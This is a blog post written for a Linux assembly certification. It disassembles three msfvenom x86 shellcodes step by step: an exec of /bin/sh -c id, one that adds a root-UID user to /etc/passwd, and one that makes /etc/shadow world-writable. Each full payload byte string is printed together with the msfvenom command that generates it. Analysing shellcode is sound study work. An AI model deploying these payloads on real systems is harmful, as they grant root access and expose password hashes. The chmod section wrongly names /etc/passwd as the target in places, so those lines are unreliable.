SLAE32 0x05: msfvenom Shellcode Analysis

20 minute read

The tool msfvenom is commonly used to generate payloads. The tool provides a variety of payload options for different operating systems and architectures. Analyzing shellcode payloads generated by msfvenom is a useful exercise to help better understand the underlying techniques that are at play within these payloads.

Some of the most common shellcode payloads encountered are bind and reverse shells. As bind and reverse shell shellcodes have been created and analyzed in depth in previous posts, three unique shellcodes were selected for analysis in this post. The sections below will dissect and explain the shellcodes generated by msfvenom for the linux/x86/exec payload, the linux/x86/adduser payload, and the linux/x86/chmod payload. When applicable, the assembly instructions will come first, followed by an explanation of the purpose of the instructions.

Objectives

Analyze at least 3 shellcode samples created using msfvenom for linux/x86;

  1. Use GDB/ndisasm/libemu to dissect the functionality of the shellcode
  2. Present the analysis

Shellcode I: exec

Shellcode I: Explanation

The exec payload includes insturctions that will execute a specified command on the target system. The exec shellcode was generated using the msfvenom command shown below.

root@kali:~/SLAE/assignment-5# msfvenom -p linux/x86/exec CMD=id -f c

The shellcode is generated with the command of id specified. This means that upon successful execution of the shellcode, the output of the id command will be printed to the terminal.

Using the shellcode generated by the msfvenom command, a good portion of the correct assembly instructions can be viewed using the ndisasm tool. The ndisasm tool disassembles the shellcode bytes into more easily readable assembly operation codes and their respective instructions. The command used to accomplish this is shown below.

root@kali:~/SLAE/assignment-5# echo -ne "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\
xe3\x52\xe8\x03\x00\x00\x00\x69\x64\x00\x57\x53\x89\xe1\xcd\x80" | ndisasm -b 32 -p intel -

The command line arguments passed to ndisasm specify x86 (32 bit) architecture and that the output should be formatted in the Intel format. The output of the above command in its entirety is shown below. Note that some assembly instructions are not accurate, specifically instructions following CALL instructions. The output will be broken down in to smaller sections later on.

00000000  6A0B              push byte +0xb                            
00000002  58                pop eax                                  
00000003  99                cdq    
00000004  52                push edx                                  
00000005  66682D63          push word 0x632d                          
00000009  89E7              mov edi,esp                              
0000000B  682F736800        push dword 0x68732f                      
00000010  682F62696E        push dword 0x6e69622f                    
00000015  89E3              mov ebx,esp                              
00000017  52                push edx                                  
00000018  E803000000        call 0x20                                
0000001D  696400575389E1CD  imul esp,[eax+eax+0x57],dword 0xcde18953  
00000025  80                db 0x80  

Shellcode I: Analysis

00000000  6A0B              push byte +0xb                            
00000002  58                pop eax  

First, a single byte 0xb is pushed to the stack. The hexadecimal value 0xb in decimal is 11. From the unistd_32.h file, 11 specifies the execve system call. The 0xb byte is transferred to the EAX register using the POP EAX instruction. Ulitmately, the value 0xb will be passed through the EAX register to a software interrupt which will result in the execution of the execve system call.

#define __NR_execve 11

The execve system call expects three arguments, as shown below. As usual, the first argument will be passed through EBX, the second through ECX, and the third through EDX.

int execve(const char *pathname, char *const argv[], char *const envp[]);
00000003  99                cdq
00000004  52                push edx  

Next, the CDQ instruction is used to zero out the EDX register. This is accomplished through the functionality of CDQ. The CDQ instruction copies the sign bit in the EAX register to every bit position in the EDX register. Since the sign bit is not set in EAX, its value is 0. This means that 0 will be copied to every bit position in the EDX register, thus zeroing out the register. A PUSH instruction is used to store EBX on the stack which will act as a null terminator for various arguments passed to execve.

00000005  66682D63          push word 0x632d
00000009  89E7              mov edi,esp

Now, a PUSH instruction is used to store 0x632d on the stack. Examining this value reveals that the value correlates to the c- string, or -c in reverse order.

>>> print('\x63\x2d')                                          
c-

The memory address in ESP which points to the top of the stack and contains the -c string is moved into the EDI register. This memory address which contains the null-terminated -c string will later be used as part of the array of pointers that contain command line arguments passed through ECX to execve as its second argument.

0000000B  682F736800        push dword 0x68732f                      
00000010  682F62696E        push dword 0x6e69622f                    
00000015  89E3              mov ebx,esp  

Two PUSH instructions are used to store first 0x68732f and then 0x6e69622f on the stack. Upon examining these hexidecimal values, it is revealed that these values correlate to the string /bin/sh.

>>> print('\x68\x73\x2f\x6e\x69\x62\x2f') 
hs/nib/

The memory address of ESP is moved into the EBX register which will be passed to execve as the first argument which is a pointer to the pathname of the program to be executed, /bin/sh.

00000017  52                push edx
00000018  E803000000        call 0x20

As the EDX register at this point is still clear as a result of the previous CDQ instruction, the PUSH EDX instruction pushes four null bytes to the stack. These bytes will act as a delimiter for the array of memory addresses that will be passed through ECX as the second argument to execve.

In this case, the CALL 0x20 instruction serves two purposes. The first purpose is to direct execution flow elsewhere in the shellcode (specifically to the memory address 32 bytes (decimal 32 is 0x20 in hex) from the start of the shellcode) and the second purpose is to store a memory address on the stack. As part of the functionality built in to the CALL instruction, the memory address of the instruction following the CALL instruction will be stored on the stack so that once the called function completes, execution flow can retun to the next instruction.

0000001D  696400575389E1CD  imul esp,[eax+eax+0x57],dword 0xcde18953  
00000025  80                db 0x80  

In this example, the memory address pushed to the stack as a result of the call instruction is the memory address of 0000001D. In decimal, this memory address value can be represented as 29. The first two bytes stored at this memory address are 0x6964. Examining these bytes reveals that these bytes correlate to the string id, or the command that was chosen to be excuted by execve when the payload was generated with msfvenom.

>>> print('\x69\x64')
id

Following these two bytes is a null byte to terminate the id string.

Recall that the CALL 0x20 instruction will redirect execution flow to 0x20 bytes in hex or 32 bytes in decimal from the start of the shellcode. As mentioned previously, 0000001D correlates to decimal 29. After taking into account the three bytes 0x696400 that form the null terminated id string, this means that the CALL 0x20 instruction will result in execution flow being redirected to the instructions that directly follow the 0x696400 bytes at the 00000020 (decimal 32) memory address. In other words, the instructions represented by the shellcode \x57\x53\x89\xe1\xcd\x80 will now be executed.

Using ndisasm again to disassemble this shellcode reveals the following:

root@kali:~/SLAE/assignment-5# echo -ne "\x57\x53\x89\xe1\xcd\x80" | ndisasm -b 32 -p intel -                                          
00000000  57                push edi
00000001  53                push ebx
00000002  89E1              mov ecx,esp
00000004  CD80              int 0x80

These PUSH instructions serve the purpose to complete the array of pointers to strings which will be passed as the second argument to execve through ECX. The memory addresses in the array must be passed in reverse order, and the memory address that contains id is already on the stack as a result of the CALL 0x20 earlier. The PUSH EDI instuction pushes the memory address in EDI to the stack which contains the -c string. The PUSH EBX command pushes the memory address in EBX to the stack which contains the /bin/sh string. Therefor, there are now three memory address on the stack. The memory address on the top of the stack contains /bin/sh, the second memory address contains -c, and the third memory address contains id. The memory address in ESP points to these memory addresses and is moved into ECX before the software interrupt INT 0x80 occurs, which results in the /bin/sh -c id command being executed by execve.

Shellcode II: adduser

Shellcode II: Explanation

The adduser payload includes instructions to add a user to the target system with the UID of 0. The adduser shellcode was generated using the msfvenom command shown below.

root@kali:~/SLAE/assignment-5# msfvenom -p linux/x86/adduser -f c

The shellcode is generated using default parameters. In this case, the user that will be added to the target system will be called metasploit. Since no password was provided, the default password will be used.

Once again, the ndisasm tool disassembles the shellcode bytes into more easily readable assembly operation codes and their respective instructions. The command used to accomplish this is shown below.

root@kali:~/SLAE/assignment-5# echo -ne "\x31\xc9\x89\xcb\x6a\x46\x58\xcd\x80\x6a\x05\x58\x31\xc9\x51\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\        
x68\x2f\x65\x74\x63\x89\xe3\x41\xb5\x04\xcd\x80\x93\xe8\x28\x00\x00\x00\x6d\x65\x74\x61\x73\x70\x6c\x6f\x69\x74\x3a\x41\x7a\x2f\x64\x49\x73\x6a\x34\x70\x34\x49\x52\x63\x3a\x30\x3a\x30\x3a\x3a\x2f\x3a\x2f\x62\x69\x6e\x2f\x73\x68\x0a\x59\x8b\x51\xfc\x6a\x04\x58\xcd\x80\x6a\x01\x58\xcd\x80" | ndisasm -b 32 -p intel -

The command line arguments passed to ndisasm specify x86 (32 bit) architecture and that the output should be formatted in the Intel format. The output of the above command in its entirety is shown below. Note that some assembly instructions are not accurate, specifically instructions following CALL instructions. The output will be broken down in to smaller sections later on.

00000000  31C9              xor ecx,ecx
00000002  89CB              mov ebx,ecx
00000004  6A46              push byte +0x46
00000006  58                pop eax
00000007  CD80              int 0x80
00000009  6A05              push byte +0x5
0000000B  58                pop eax
0000000C  31C9              xor ecx,ecx
0000000E  51                push ecx
0000000F  6873737764        push dword 0x64777373
00000014  682F2F7061        push dword 0x61702f2f
00000019  682F657463        push dword 0x6374652f
0000001E  89E3              mov ebx,esp
00000020  41                inc ecx
00000021  B504              mov ch,0x4
00000023  CD80              int 0x80
00000025  93                xchg eax,ebx
00000026  E828000000        call 0x53
0000002B  6D                insd
0000002C  657461            gs jz 0x90
0000002F  7370              jnc 0xa1 
00000031  6C                insb
00000032  6F                outsd
00000033  69743A417A2F6449  imul esi,[edx+edi+0x41],dword 0x49642f7a
0000003B  736A              jnc 0xa7
0000003D  3470              xor al,0x70
0000003F  3449              xor al,0x49
00000041  52                push edx
00000042  633A              arpl [edx],di
00000044  303A              xor [edx],bh
00000046  303A              xor [edx],bh
00000048  3A2F              cmp ch,[edi]
0000004A  3A2F              cmp ch,[edi]
0000004C  62696E            bound ebp,[ecx+0x6e]
0000004F  2F                das
00000050  7368              jnc 0xba
00000052  0A598B            or bl,[ecx-0x75]
00000055  51                push ecx
00000056  FC                cld
00000057  6A04              push byte +0x4
00000059  58                pop eax
0000005A  CD80              int 0x80
0000005C  6A01              push byte +0x1
0000005E  58                pop eax 
0000005F  CD80              int 0x80

Shellcode II: Analysis

00000000  31C9              xor ecx,ecx
00000002  89CB              mov ebx,ecx
00000004  6A46              push byte +0x46
00000006  58                pop eax
00000007  CD80              int 0x80

To start, an XOR instruction is used to zero out the ECX register. As explained in previous posts, using XOR with the same source and destination register will result in zeroing out the register. Following the XOR instruction, the recently-cleared ECX register is moved to the EBX register, effectively zeroing out the EBX register. Next, a single byte 0x46 is pushed to the stack and then stored in EAX using a POP instruction. The hex value 0x46 in decimal is 70. From the unistd_32.h file, 70 specifies the setreuid system call.

#define __NR_setreuid 70

From man 2 setreuid, the setreuid function sets real and effective user IDs of the calling process and takes two arguments, as shown below.

int setreuid(uid_t ruid, uid_t euid);

The two arguments that will be passed to the setreuid system call via the EBX and ECX registers will both be 0 as a result of the previously mentioned XOR and MOV instructions related to the EBX and ECX registers.

On Linux systems, UID 0 is assigned to and represents the root user of the system that has unrestricted super administrator privileges. Underprivileged users usually do not have the permissions required to add users to Linux systems, but if an underpriveleged user has access to a program/process running as root or a program with the SUID bit set, then setreuid would ensure that the remaining shellcode within the payload will be run with root permissions.

00000009  6A05              push byte +0x5
0000000B  58                pop eax

Next, the byte 0x5 is pushed to the stack and then stored in EAX using POP. The integer 5 specifies the open system call in the unistd_32.h file.

#define __NR_open 5

From man 2 open, the open function expects two arguments and serves the purpose of opening the file specified by the first argument with the desired access mode specifed by the second argument. The return value of open is a file descriptor that can be used in subsequent system calls and is returned in the EAX register function completion.

int open(const char *pathname, int flags);

Furthermore, the second argument specifies whether the opened file is opened as O_RDONLY, O_WRONLY, or O_RDWR which correlate to read-only, write-only, and read-write access modes. In addition to the access mode flags, zero or more bitwise file creation and file status flags can be set within the second argument that further modify the behavior of open.

0000000C  31C9              xor ecx,ecx
0000000E  51                push ecx
0000000F  6873737764        push dword 0x64777373
00000014  682F2F7061        push dword 0x61702f2f
00000019  682F657463        push dword 0x6374652f
0000001E  89E3              mov ebx,esp

The ECX register is zeroed out once again with the XOR instruction and then is pushed to the stack with a PUSH instruction. These null bytes serve to terminate the string which is subsequently pushed to the stack. Examining the twelve bytes pushed to the stack by the three PUSH instructions reveals that the bytes correlate to the /etc//passwd string and will specify that open should open the /etc/passwd file.

>>> print('\x64\x77\x73\x73\x61\x70\x2f\x2f\x63\x74\x65\x2f')
dwssap//cte/

The MOV EBX, ESP instruction serves to store the pointer to the /etc//passwd pathname string which will later be passed to open as its first argument via the EBX register.

00000020  41                inc ecx                                          
00000021  B504              mov ch,0x4                                        
00000023  CD80              int 0x80

An INC ECX instruction is used to increase the value in ECX by one to hexadecimal 0x1. Next, the hexadecimal value 0x4 is moved into the CH register. The CH register represents the 8 bits that make up the second-to-least significant byte. A representation of the ECX register in binary is shown below.

31             16 | 15     8 | 7      0
---------------------------------------
00000000 00000000 | 00000100 | 00000001
---------------------------------------

Recall that additional bitwise file creation and file status flags can be set within the second argument argument of open. At this point, the CX register contains the value 0x0401 because of the INC ECX and MOV CH, 0x4 instructions. This means that of the 16 bits present in the CX register, the lowest order bit (the 0th bit, decimal 2^0 = 1) and the 10th-lowest order bit (the 10th bit, decimal 2^10 = 1024) are set. In octal, decimal 1 is 00000001 and decimal 1024 is 00002000. As seen in the /usr/include/asm-generic/fcntl.h file, octal 00000001 specifies the file access mode as O_WRONLY which correlates to write-only mode, and octal 00002000 specifies the file status flag O_APPEND. This means that once the software interrupt INT 0x80 instruction is executed, the /etc/passwd file will be opened with write access and any written information will be appended to the information already present in the file.

00000025  93                xchg eax,ebx
00000026  E828000000        call 0x53

After the open function, the file descriptor that references the opened file is stored in EAX. The XCHG EAX, EBX serves to swap the values stored within EAX and EBX. Therefore, EBX now holds the file descriptor returned by open. The CALL 0x53 instruction is used in the same manner as previously explained in the analysis of the exec payload. In short, the memory address of the next instruction (0000002B) is stored on the stack and execution flow is redirected to the instructions present at 0x53 bytes from the start of the shellcode.

0000002B  6D                insd
0000002C  657461            gs jz 0x90
0000002F  7370              jnc 0xa1
00000031  6C                insb
00000032  6F                outsd
00000033  69743A417A2F6449  imul esi,[edx+edi+0x41],dword 0x49642f7a
0000003B  736A              jnc 0xa7
0000003D  3470              xor al,0x70
0000003F  3449              xor al,0x49
00000041  52                push edx
00000042  633A              arpl [edx],di
00000044  303A              xor [edx],bh
00000046  303A              xor [edx],bh
00000048  3A2F              cmp ch,[edi]
0000004A  3A2F              cmp ch,[edi]
0000004C  62696E            bound ebp,[ecx+0x6e]
0000004F  2F                das
00000050  7368              jnc 0xba
00000052  0A598B            or bl,[ecx-0x75]

Converting the contents present between the memory address 0000002B and 00000053 (where execution flow will continue as a result of the previous CALL 0x53 instruction) to ASCII reveals the following:

>>> print('\x6d\x65\x74\x61\x73\x70\x6c\x6f\x69\x74\x3a\x41\x7a\x2f\x64\x49\x73\x6a\x34\x70\x34\x49\x34\x49\x52\x63\x3a\x30\x3a\x30\x3a\x3a\x2f\x3a\x2f\x62\x69\x6e\x2f\x73\x68')          
metasploit:Az/dIsj4p4I4IRc:0:0::/:/bin/sh

This string specifies the contents that will ultimately be written to the /etc/passwd file and is in the same format as other entries in the /etc/passwd file. As the adduser payload was generated with default parameters, the user that will be added to the /etc/passwd file is called metasploit, the password for the user will be Az/dIsj4p4I4IRc, the user will have a user identifier number of 0, a group identifier number of 0, and will use /bin/sh as a default shell.

Using ndisasm once again to analyze the instructions present at 00000053 where execution flow has been redirected by CALL 0x53 shows the following:

root@kali:~/SLAE/assignment-5# echo -ne "\x59\x8b\x51\xfc\x6a\x04\x58\xcd\x80\x6a\x01\x58\xcd\x80" | ndisasm -b 32 -p intel -
00000000  59                pop ecx
00000001  8B51FC            mov edx,[ecx-0x4]
00000004  6A04              push byte +0x4
00000006  58                pop eax
00000007  CD80              int 0x80

The POP ECX instruction stores the metasploit:Az/dIsj4p4I4IRc:0:0::/:/bin/sh string in ECX. The instruction MOV EDX, [ECX-0x4] is used to move the value 0x28 into EDX. Since ECX now contains the memory address 0000002B from the original ndisasm output, the MOV EDX, [ECX-0x4] instruction will result in the contents present at memory address 00000027 from the same output being stored in EDX. It can be seen below that the value 0x28 is present at 00000027 in the original ndisasm output as part of the operation code for the previously explained CALL 0x53 instruction.

00000026  E828000000        call 0x53

Continuing on, the byte 0x4 is pushed to the stack and subsequently stored in EAX using a POP instruction. From the unistd_32.h file, 4 specifies the write system call. The arguments expected by write are shown below.

ssize_t write(int fd, const void *buf, size_t count);

From man 2 write, the write function will write up to count bytes from the buffer starting at buf to the file referenced by the file descriptor fd. The EBX, ECX, and EDX registers have already been set to contain the file descriptor fd as returned by open that represents the /etc/passwd file, a pointer to the string metasploit:Az/dIsj4p4I4IRc:0:0::/:/bin/sh in memory as buf, and the length of the string 0x28 as count, respsectively. The software interrupt INT 0x80 will call the write system call which will add the metasploit user to the /etc/passwd file as previously explained.

00000009  6A01              push byte +0x1
0000000B  58                pop eax
0000000C  CD80              int 0x80

To wrap up, the byte 0x1 is pushed to the stack and stored in EAX by POP. In unistd_32.h, the value 1 specifies the exit system call. There are no necessary arguments for exit. The software interrupt INT 0x80 results in the process in which the shellcode is being run to exit gracefully.

Shellcode III: chmod

Shellcode III: Explanation

The chmod payload includes instructions to change permissions on a specified file. The chmod shellcode was generated using the msfvenom command shown below.

root@kali:~/SLAE/assignment-5# msfvenom -p linux/x86/chmod -f c

The shellcode is generated using default parameters. In this case, the permissions of the /etc/shadow file will be set to 0666. This means that the file will be world readble and world writeable.

As mentioned previously, the ndisasm tool disassembles the shellcode bytes into more easily readable assembly operation codes and their respective instructions. The command used to accomplish this is shown below.

root@kali:~/SLAE/assignment-5# echo -ne "\x99\x6a\x0f\x58\x52\xe8\x0c\x00\x00\x00\x2f\x65\x74\x63\x2f\x73\x68\x61\x64\x6f\x77\x00\x5b\x68\xb6\x01\x00\x00\x59\xcd\x80\x6a\x01\x58\xcd\x80" | ndisasm -b 32 -p intel -

The command line arguments passed to ndisasm specify x86 (32 bit) architecture and that the output should be formatted in the Intel format. The output of the above command in its entirety is shown below. Note that some assembly instructions are not accurate, specifically instructions following CALL instructions. The output will be broken down in to smaller sections later on.

00000000  99                cdq
00000001  6A0F              push byte +0xf
00000003  58                pop eax
00000004  52                push edx
00000005  E80C000000        call 0x16
0000000A  2F                das
0000000B  657463            gs jz 0x71
0000000E  2F                das
0000000F  7368              jnc 0x79
00000011  61                popa
00000012  646F              fs outsd
00000014  7700              ja 0x16
00000016  5B                pop ebx
00000017  68B6010000        push dword 0x1b6
0000001C  59                pop ecx
0000001D  CD80              int 0x80
0000001F  6A01              push byte +0x1
00000021  58                pop eax
00000022  CD80              int 0x80

Shellcode III: Analysis

00000000  99                cdq
00000001  6A0F              push byte +0xf
00000003  58                pop eax

First, a CDQ instruction is used to zero out the EDX register in the same manner previously outlined in the exec payload. To reiterate, the CDQ instruction copies the sign bit in the EAX register to every bit position in the EDX register. Since the sign bit is not set in EAX, its value is 0. This means that 0 will be copied to every bit position in the EDX register, thus zeroing out the register.

A single byte 0xf (or 15 in decimal) is pushed to the stack and subsequently stored in the EAX register with a POP instruction. From the unistd_32.h file, 15 specifies the chmod system call, which makes sense for this particular payload.

#define __NR_chmod 15

From man 2 chmod, the chmod function expects two arguments, as shown below.

int chmod(const char *pathname, mode_t mode);

The first argument expected by chmod is a pointer to a pathname string which will specify the file to be modified and will be passed to chmod through the EBX register. The second argument expected by chmod is a mode value (an octal value, as commonly seen in command line usage of chmod) and is passed to chmod through the ECX register.

00000004  52                push edx
00000005  E80C000000        call 0x16

Here, a PUSH EDX instruction is used to push four NULL bytes to the stack which will serve as a delimiter for the pathname argument for chmod. As explained in the two previous shellcode payloads, a CALL command is used to store a string on the stack and to redirect execution flow to the memory address specified in the CALL instruction (0x16 in this case).

0000000A  2F                das
0000000B  657463            gs jz 0x71
0000000E  2F                das
0000000F  7368              jnc 0x79
00000011  61                popa
00000012  646F              fs outsd
00000014  7700              ja 0x16

As a result of the CALL 0x16 instruction, the bytes shown above will be stored on the stack beginning at the memory address 0000000A. Further analysing these bytes reveals that the bytes correlate to the string shown below.

>>> print('\x2f\x65\x74\x63\x2f\x73\x68\x61\x64\x6f\x77')
/etc/shadow

From this, it is clear that the file that will be modified by the chmod function will be the /etc/passwd file.

00000016  5B                pop ebx
00000017  68B6010000        push dword 0x1b6
0000001C  59                pop ecx
0000001D  CD80              int 0x80

The CALL 0x16 instruction mentioned previously results in execution flow being redirected to the memory address located 0x16 bytes from the beginning of the shellcode which contains the operation codes shown above.

As the memory address 0000000A contains the string /etc/shadow and is currently stored on the top of the stack, the POP EBX command will result in the memory address containing the aformentioned /etc/shadow string being stored in the EBX register. This will soon be passed as the pointer to a pathname for the first argument expected by chmod.

Next, the value 0x1b6 is pushed to the stack and subsequently stored in ECX by a POP instruction. The hexadecimal value 0x1b6 converted to its corresponding octal value (as commonly used in command line usage of chmod) is 0o666. As expected, this would suggest that the r (read) and w (write) bits will be set for the owner of the /etc/passwd file, users in the group to which the /etc/passwd file belongs, as well as to all other users. In other words, the /etc/passwd file will be world readable and world writeable after once its mode is changed by chmod. A software interrupt INT 0x80 instruction calls chmod with the described arguments.

0000001F  6A01              push byte +0x1
00000021  58                pop eax
00000022  CD80              int 0x80

As explained in the adduser payload, the byte 0x1 is pushed to the stack and stored in EAX by POP. In unistd_32.h, the value 1 specifies the exit system call. There are no necessary arguments for exit. The software interrupt INT 0x80 results in the process in which the shellcode is being run to exit gracefully.

_This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification:∏

http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert

Student ID: SLAE-1469